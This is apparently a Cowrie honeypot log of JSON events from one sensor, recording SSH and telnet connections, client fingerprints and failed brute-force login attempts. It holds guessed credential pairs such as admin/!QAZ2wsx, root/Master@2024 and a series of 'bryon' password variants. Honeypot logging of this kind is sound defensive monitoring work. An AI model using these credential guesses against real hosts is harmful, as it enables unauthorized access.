{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.539745Z","src_ip":"176.65.148.108","session":"5659a2c5260c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.665553Z","src_ip":"49.51.73.108","session":"83ae57281038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"123456","message":"login attempt [aa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.791967Z","src_ip":"176.65.148.108","session":"5659a2c5260c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:13.509839Z","src_ip":"193.32.162.145","session":"7f787055e582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59356,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1b6450ab41e","protocol":"telnet","message":"New connection: 192.119.13.58:59356 (10.17.0.5:23) [session: d1b6450ab41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:13.605732Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:13.737509Z","src_ip":"49.51.73.108","session":"83ae57281038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:13.878603Z","src_ip":"176.65.148.108","session":"5659a2c5260c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.794800758361816,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:15.073369Z","src_ip":"192.119.13.58","session":"479d136f3649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51248,"dst_ip":"10.17.0.5","dst_port":23,"session":"632c54f29a39","protocol":"telnet","message":"New connection: 192.119.13.58:51248 (10.17.0.5:23) [session: 632c54f29a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:18.502037Z"}
{"eventid":"cowrie.session.closed","duration":46.356311082839966,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:19.942761Z","src_ip":"192.119.13.58","session":"7dc98023ce66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60430,"dst_ip":"10.17.0.5","dst_port":23,"session":"078547191211","protocol":"telnet","message":"New connection: 192.119.13.58:60430 (10.17.0.5:23) [session: 078547191211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:20.687658Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35182,"dst_ip":"10.17.0.5","dst_port":23,"session":"c130f2cf44d2","protocol":"telnet","message":"New connection: 192.119.13.58:35182 (10.17.0.5:23) [session: c130f2cf44d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:21.432371Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":62283,"dst_ip":"10.17.0.5","dst_port":22,"session":"68bb36a48c80","protocol":"ssh","message":"New connection: 213.209.159.56:62283 (10.17.0.5:22) [session: 68bb36a48c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:22.022183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:22.027144Z","src_ip":"213.209.159.56","session":"68bb36a48c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:22.109053Z","src_ip":"213.209.159.56","session":"68bb36a48c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon","message":"login attempt [bryon/bryon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:22.511360Z","src_ip":"213.209.159.56","session":"68bb36a48c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon1","message":"login attempt [bryon/bryon1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:23.596812Z","src_ip":"213.209.159.56","session":"68bb36a48c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon123","message":"login attempt [bryon/bryon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:24.682567Z","src_ip":"213.209.159.56","session":"68bb36a48c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.302117109298706,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:25.072705Z","src_ip":"192.119.13.58","session":"b3f04bcb16f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon1234","message":"login attempt [bryon/bryon1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:25.768120Z","src_ip":"213.209.159.56","session":"68bb36a48c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon12345","message":"login attempt [bryon/bryon12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:26.853424Z","src_ip":"213.209.159.56","session":"68bb36a48c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.29257369041443,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:27.406845Z","src_ip":"192.119.13.58","session":"2a2197f1675f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60498,"dst_ip":"10.17.0.5","dst_port":23,"session":"4650ccca3722","protocol":"telnet","message":"New connection: 192.119.13.58:60498 (10.17.0.5:23) [session: 4650ccca3722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:27.499860Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:27.938047Z","src_ip":"213.209.159.56","session":"68bb36a48c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.868532419204712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:28.169302Z","src_ip":"192.119.13.58","session":"4bcb86c0b569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.61156678199768,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:31.867423Z","src_ip":"192.119.13.58","session":"a90df7fec524","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.02467966079712,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:32.327188Z","src_ip":"192.119.13.58","session":"610ba2204e11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.63935327529907,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:33.245582Z","src_ip":"192.119.13.58","session":"9a78c9b2f105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35916,"dst_ip":"10.17.0.5","dst_port":23,"session":"0900eaef02bd","protocol":"telnet","message":"New connection: 192.119.13.58:35916 (10.17.0.5:23) [session: 0900eaef02bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:35.229514Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":53410,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e99f9c5840b","protocol":"ssh","message":"New connection: 193.39.208.26:53410 (10.17.0.5:22) [session: 8e99f9c5840b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:35.241504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:35.246716Z","src_ip":"193.39.208.26","session":"8e99f9c5840b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36136,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad474dd02491","protocol":"telnet","message":"New connection: 192.119.13.58:36136 (10.17.0.5:23) [session: ad474dd02491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:35.286481Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:35.330835Z","src_ip":"193.39.208.26","session":"8e99f9c5840b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master@2024","message":"login attempt [root/Master@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:35.693696Z","src_ip":"193.39.208.26","session":"8e99f9c5840b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:36.780045Z","src_ip":"193.39.208.26","session":"8e99f9c5840b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.43728303909302,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:37.179411Z","src_ip":"192.119.13.58","session":"a25f66e9b1a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56696,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f5923310ab5","protocol":"telnet","message":"New connection: 192.119.13.58:56696 (10.17.0.5:23) [session: 7f5923310ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:40.224047Z"}
{"eventid":"cowrie.session.closed","duration":6.458599090576172,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:41.744802Z","src_ip":"192.119.13.58","session":"ad474dd02491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35360,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06485416a60","protocol":"telnet","message":"New connection: 192.119.13.58:35360 (10.17.0.5:23) [session: c06485416a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:41.842433Z"}
{"eventid":"cowrie.session.closed","duration":0.005595207214355469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:41.847744Z","src_ip":"192.119.13.58","session":"c06485416a60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36054,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bcdf2cc99c1","protocol":"telnet","message":"New connection: 192.119.13.58:36054 (10.17.0.5:23) [session: 0bcdf2cc99c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:41.998614Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39534,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b3c2170cd20","protocol":"telnet","message":"New connection: 192.119.13.58:39534 (10.17.0.5:23) [session: 4b3c2170cd20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:42.882979Z"}
{"eventid":"cowrie.session.closed","duration":45.8427529335022,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:43.883245Z","src_ip":"192.119.13.58","session":"3f66f57b8c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46962,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fef3c0c536","protocol":"telnet","message":"New connection: 192.119.13.58:46962 (10.17.0.5:23) [session: 15fef3c0c536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:44.673964Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53206,"dst_ip":"10.17.0.5","dst_port":23,"session":"deb752f0ec7e","protocol":"telnet","message":"New connection: 192.119.13.58:53206 (10.17.0.5:23) [session: deb752f0ec7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:46.098973Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41298,"dst_ip":"10.17.0.5","dst_port":23,"session":"71c5f6f80cf4","protocol":"telnet","message":"New connection: 192.119.13.58:41298 (10.17.0.5:23) [session: 71c5f6f80cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:50.157208Z"}
{"eventid":"cowrie.session.closed","duration":39.376808881759644,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:51.236732Z","src_ip":"192.119.13.58","session":"369974b4968e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":59274,"dst_ip":"10.17.0.5","dst_port":22,"session":"115d6f2bbc7e","protocol":"ssh","message":"New connection: 45.78.204.254:59274 (10.17.0.5:22) [session: 115d6f2bbc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:52.216782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:52.221757Z","src_ip":"45.78.204.254","session":"115d6f2bbc7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:52.461188Z","src_ip":"45.78.204.254","session":"115d6f2bbc7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.935927391052246,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:52.541527Z","src_ip":"192.119.13.58","session":"d1b6450ab41e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":43620,"dst_ip":"10.17.0.5","dst_port":22,"session":"642072063510","protocol":"ssh","message":"New connection: 104.194.10.248:43620 (10.17.0.5:22) [session: 642072063510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.017740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.022918Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.029580Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:79:73:8d:4f:c7:e7:4d:55:50:a3:ed:38:15:64:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM1Hk5AX7dcileWXVSP5QIJ8oeRPSbRrprz/97ufhtKd4wyW8374fY+Uyx97QPW98eTqmnjQfuCpv5pI2Ze9Iru5/34vsKFT5zw2EiU5D4mxZPNKTWu09+C+3zILy6iUD5KYDeOQiTgimuVbYDVCgl+iQZLAhqGw+G71xRFuDMVoZLqg/7LyrZIhyLlgp918gpIzAezogVRsEYGmoeHkCpIgYbYV+aRQQPK7pcK4YAWWcmoIjzoaGB9PYpTrPKdegk27ZYIiwEaMu7IqcVfms/Zb6wxE+/Dsdn6Jmt5x2ELtZeKcHmk8oaV3EibONp2lH7vAIHglwWWKN/75mnSHvH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:79:73:8d:4f:c7:e7:4d:55:50:a3:ed:38:15:64:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.046955Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
